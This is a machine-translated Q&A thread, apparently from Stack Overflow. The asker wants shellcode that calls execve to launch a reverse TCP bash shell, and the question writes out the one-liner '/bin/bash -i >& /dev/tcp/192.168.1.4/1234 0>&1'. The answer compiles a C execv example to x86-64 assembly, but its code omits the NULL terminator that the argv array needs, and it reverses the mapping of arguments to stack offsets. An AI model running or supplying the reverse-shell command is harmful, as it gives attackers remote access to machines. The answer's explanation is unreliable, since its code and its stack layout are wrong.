我正在学习汇编和编写shellcode。我有一个关于execve
的问题,并将参数传递给它将执行的程序。
我有工作代码来执行bash shell但不确定execve
的输入格式是否要传递其他参数。我也可以做stdin stdout重定向吗?我想用这种类型的命令行创建一个反向tcp连接:
/bin/bash -i >& /dev/tcp/192.168.1.4/1234 0>&1
参数是否应该用NULL分隔?我得到它来执行一个shell,但它没有连接回监听nc。
我知道这是一种不寻常的做法,但我只想尝试不同的东西: - )
干杯
答案 0 :(得分:1)
了解如何操作的最佳方法是编译示例并在程序集级别停止。让我们举个例子:
#include <unistd.h>
int
main ()
{
char *program = "/bin/ls";
char *args[3] = {"/bin/ls", "-l", "./"};
execv(program, args);
return 0;
}
使用gcc -Wall -Wextra -S -o myexec.s myexec.c
进行编译时,您可以阅读myexec.s
:
.file "myexec.c"
.section .rodata
.LC0:
.string "/bin/ls"
.LC1:
.string "-l"
.LC2:
.string "./"
.text
.globl main
.type main, @function
main:
.LFB0:
pushq %rbp
movq %rsp, %rbp
subq $32, %rsp
movq $.LC0, -8(%rbp)
movq $.LC0, -32(%rbp)
movq $.LC1, -24(%rbp)
movq $.LC2, -16(%rbp)
leaq -32(%rbp), %rdx
movq -8(%rbp), %rax
movq %rdx, %rsi
movq %rax, %rdi
call execv
movl $0, %eax
leave
ret
因此,命令行的参数列表由一个字符串列表组成,第一个参数是可执行文件的路径(-8(rbp)
),然后每个参数都通过指向它的指针传递字符串:argv[0] = -16(%rbp)
,argv[1] = -24(%rbp)
,argv[2] = -32(%rbp)
,...等等。
因此,您只需要拥有每个字符串的地址,并在调用execv
之前将其(以正确的顺序)堆叠到堆栈上。